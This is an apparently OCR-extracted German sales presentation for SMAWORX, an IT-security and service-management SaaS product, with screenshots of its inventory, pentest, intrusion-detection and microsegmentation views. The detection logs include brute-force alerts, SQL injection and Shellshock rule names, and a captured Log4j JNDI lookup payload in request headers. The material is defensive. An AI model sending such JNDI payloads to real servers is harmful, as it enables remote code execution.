Proaktives IT-Security Management

Wie Service
Management zur
ersten
Verteidigungslinie
wird
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STELLE?
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CVE

Common Vulnerabilities
and Exposures

SMAWE RX



DAS KANN
DAUERN

SMAWE RX






. Zugangskontrollen - 2FA / Passworter
. Patchen

. Hartung/Konfigurationen

. Resiliente Infrastruktur

. Backup

. Antivir/EDR + Firewall



ABER

Man geht heute davon aus, dass ein Angriff

stattfinden wird.



SMAWORX

ist die smarte ART (SMAX Faktor)
Service Management Automation &
IT-Security DSGVO konform zu
betreiben.

Wir stellen unsere Losungen als Saa$
in der Open Telekom Cloud zur
Verfugung und bieten eine hohe
Skalierbarkeit, mehr Flexibilitat bei
der Ausfuhrung und Speicherung von
Anwendungen und Daten mit Zugriff
von uberall.




Security mit SMAWORX Insight

Live-Inventarisierung Automatisierter Schwachstellen-
Pentest management

Persistentes Inventar
Schwachstellenscan Intrusion Detection
Asset Map NALE

Datenintegritats-
priifung

Antivirus

Web-Application
Monitoring

SIEM Event-Streams

Alarmmanagement

Autom. Aktionen auf
Server & Client

Intrusion Prevention
System

&

(Auto-)Patching
Konfigmanagement

Mikrosegmentierung



IDENTIFY

IDENTIFY

Du kannst nicht schutzen,
was du nicht kennst.

Funktion: Live-Inventarisierung der IT

Integration in ESM: CMDB / Service Asset &
Configuration Management

—> Inventar

Suchen

DB Server (172.17.0.4)
Datenbank fir Verwaltung

W7 Ping-Monitoring

7 Port-Monitoring

Epson (172.17.0.5)
Hans Walter

=4 Ping Check hinzufigen
=4 Port Check hinzufigen
server (172.17.0.2)
=4 Ping Check hinzufigen
=4 Port Check hinzufigen
172.17.0.3

=4 Ping Check hinzufigen
=4 Port Check hinzufigen
172.17.01

=4 Ping Check hinzufigen
=4 Port Check hinzufigen
10.0.0.4

=4 Ping Check hinzufigen
=4 Port Check hinzufigen

¥ Felix Bohmann

el Max Tarantik

=+ REPORT ERSTELLEN

+ @I

5

T ANSICHT EXPORTIEREN

showcase-watchdog

showcase-watchdog

showcase-watchdog

showcase-watchdog

showcase-watchdog

ngs-hetzner-showcase-services

T




IDENTIFY - ATTACK
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- —> Zusammenfassung == ZU DEN DETAILS

AT TA C K ( P r é V e n t i O n ) Vorhandene SMB Network Shares Authentication Risikoscore
Risikoanalyse + Zustandskontrolle der bisher ~

im Einsatz befindlichen
Sicherheitsmechanismen inkl. Audit-Report auf
Basis der Kritikalitat der Security Issues.

Empfehlung
Die Anmeldedaten sollten ziigig nach den Kriterien fiir sichere Passworter
angepasst werden.

¥ Details anzeigen

Funktion:
Automatisierter Pentest + Schwachstellenscan QUERRIRSEL s i

Bruteforce SMB Authentication 1 Schweregrad

Integration in ESM: Automatisierte Workflows,
die auf Basis der analysierten Daten reagieren

Die Anmeldedaten sollten ziigig nach den Kriterien fiir sichere Passworter

/ Definition von Reaktionen auf

Sicherheitsbedrohungen B
Erlaubt Lesezugriff Privileges




IDENTIFY - ATTACK - DETECT

DETECT

Angriffe auf Server, Client und Infrastruktur
identifizieren und laterale Bewegungen
erkennen.

Funktion:

Schwachstellenmanagement, Intrusion
Detection System, Datenintegritatsprufung,
Antivir, Web-Application Monitoring, SIEM
Event-Streams

Integration in ESM: Automatische Incident-
Erstellung & Alarmierung des IT-Teams /
Steuerung benotigter Anderungen uber CM

Hier klicken, um global zu suchen

NETBIOS SMB bruteforce attempt (29.07.23, 15:29:55)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:54)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:52)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:51)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687

PROTOCOL-RDP bruteforce attempt (29.07.23, 15:29:50)

109.107.166.96 '@ Moldau — 164.68.118.28 [gvmd46687

NETBIOS SMB bruteforce attempt (29.07.23, 15:29:50)
95.7.167.23 [ Tirkei —» 164.68.118.28 [ vmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:49)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687

PROTOCOL-RDP bruteforce attempt (29.07.23, 15:29:48)

109.107.166.96 ‘Bl Moldau — 164.68.118.28 [gvmd46687

NETBIOS SMB bruteforce attempt (29.07.23, 15:29:47)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:46)
95.7.167.23 & Tirkei — 164.68.118.28 g vmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:45)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687
NETBIOS SMB bruteforce attempt (29.07.23, 15:29:44)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687
PROTOCOL-RDP bruteforce attempt (29.07.23, 15:29:43)

109.107.166.96 '@ Moldau — 164.68.118.28 [gvmd46687

PROTOCOL-RDP bruteforce attempt (29.07.23, 15:29:42)

109.107.166.96 '@ Moldau — 164.68.118.28 [gvmd46687

NETBIOS SMB bruteforce attempt (29.07.23, 15:29:40)
95.7.167.23 & Tirkei — 164.68.118.28 [gvmd46687

PROTOCOL-RDP bruteforce attempt (29.07.23, 15:29:40)

109.107.166.96 '@ Moldau — 164.68.118.28 [gvmd46687

NETBIOS SMB bruteforce attempt (29.07.23, 15:29:39)
95.7.167.23 & Tirkei — 164.68.118.28 g vmd46687
PROTOCOL-RDP bruteforce attempt (29.07.23, 15:29:38)

09.107.166.96 '@ Moldau — 164.68.118.28 Lgvmd46687
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IDENTIFY - ATTACK - DETECT - REACT

—> N —> Details

Profil des Angreifers

REACT

Auf erkannte Angriffe und Anomalien
automatisiert reagieren, um diese zu
unterbinden und den Schaden zu minimieren.

109.73.24.162

HIGH

Gaining Access

Funktion:

Alarmierung in Kombination mit
automatisierbaren Aktionen auf Server &
Client

Persisting Access

Infiltrating Network

Langs-he-site-03

Intrusion Prevention System zum aktiven
Blocken von Angriffen und lateralen
Bewegungen direkt auf den Endgeraten
(Server, Client)

SERVER-WEBAPP SQL Injection Attack:
Detects concatenated basic SQL injection
and SQLLFI attempts

SERVER-WEBAPP path traversal
SERVER-WEBAPP SQL Injection Attack
SERVER-WEBAPP SQL Injection Attack:
Detects classic SQL injection probings 2/3
SERVER-WEBAPP WordPress get_post
authentication bypass attempt
SERVER-WEBAPP SQL Injection Attack:
Detects blind sqli tests using sleep() or
benchmark()

Netzwerkanomalie-Verlauf

HIGH
SERVER-OTHER Apache
Log4j g remote code execution attempt

Lones 03

SERVER-WEBAPP shellshock
attempt
L[ Onos-he-site-03

HIGH
SERVER-OTHER Apache
Log4j logging remote code execution attempt

[ onos-he-site-03

SERVER-WEBAPP shellshock
attempt
L ones-he-site-03

HIGH
SERVER-WEBAPP SQL
Injection Attack: Detects classic SQL injection
probings 2/3
Loneshe-site-03

SERVER-WEBAPP SQL
Injection Attack
L onos-he-site-03

HIGH
SERVER-WEBAPP SQL
Injection Attack: Detects classic SQL injection
probings 2/3
[onos-he-site-03

SERVER-WEBAPP SQL

i on A k. SO

Netzwerkanomalien pro Stunde

— high_network_attacks medium_network_attacks — low_network_attacks — bloc

Details

Filter...

HIGH Gaining

Method: GET

URI: /de/glossar/

SERVER-OTHER Apache Log4j logging
Access remote code execution attempt

Lo
he-s
03

User Agent: ${jndi:ldap://192.168.178.215:41

Complete request headers: Host: enginsight.
X-Forwarded-For: ${jndi:ldap://192.168.178.2

9.73.24.162
X-Real-IP: 109.73.24.162
X-Forwarded-Proto: https

X-Forwarded-Ssl: on




IDENTIFY - ATTACK - DETECT - REACT - IMPROVE O

/ Bearbeiten

IMPROVE =

Systeme und Infrastruktur harten.

Mikrosegme Portbereiche

Mikrosec

mente
@ CT DB Cluster

@ Wireguard 22

Fu n kti O n : & 3.127.157.9/32 ——————— 5 debiana2gs ash
(AUtO' )PatChing 2 168.119.124.31/32

Erlaube Riickverbindungen
[0 ngs-hetzner-nbg-ct-01

+ VERBINDUNG HINZUFUGEN

Konfigurationseinstellungen zur Hartung
der Systeme.

@ CT DB Cluster 80 ALLE PROTOKOLLE v o @ Das Internet

Softwarebasierte Mikrosegmentierung zur £ debion320bash s R I

3 et bect01 Erlaube Riickverbindungen &
0 ngs-hetzner-nbg-c

Umsetzung einer Zero-Trust-Umgebung.

443 ALLE PROTOKOLLE v u

e

Erlaube Riickverbindungen

Portbereiche Protokolle -
1-65535 ICMPV4 ICMPV6 v u

ANDERUNGEN SPEICHERN ZURUCK




Wie die Verteidiger von Helms Klamm mussen wir in der
|T-Sicherheit wachsam bleiben und proaktiv handeln.
SMAWORX ist unser Werkzeug, um dies zu erreichen. Es

integriert Service Management und IT-Security, um eine
umfassende und proaktive Verteidigungsstrategie zu

ermoglichen.



VIELEN DANK!

Jonas Bernard
+49 152 29277804
j.bernard@smaworx.io

WWW.Smaworx.io

Sprechen Sie uns an & vereinbaren
Sie jetzt einen Demo-Termin!



http://www.smaworx.io/

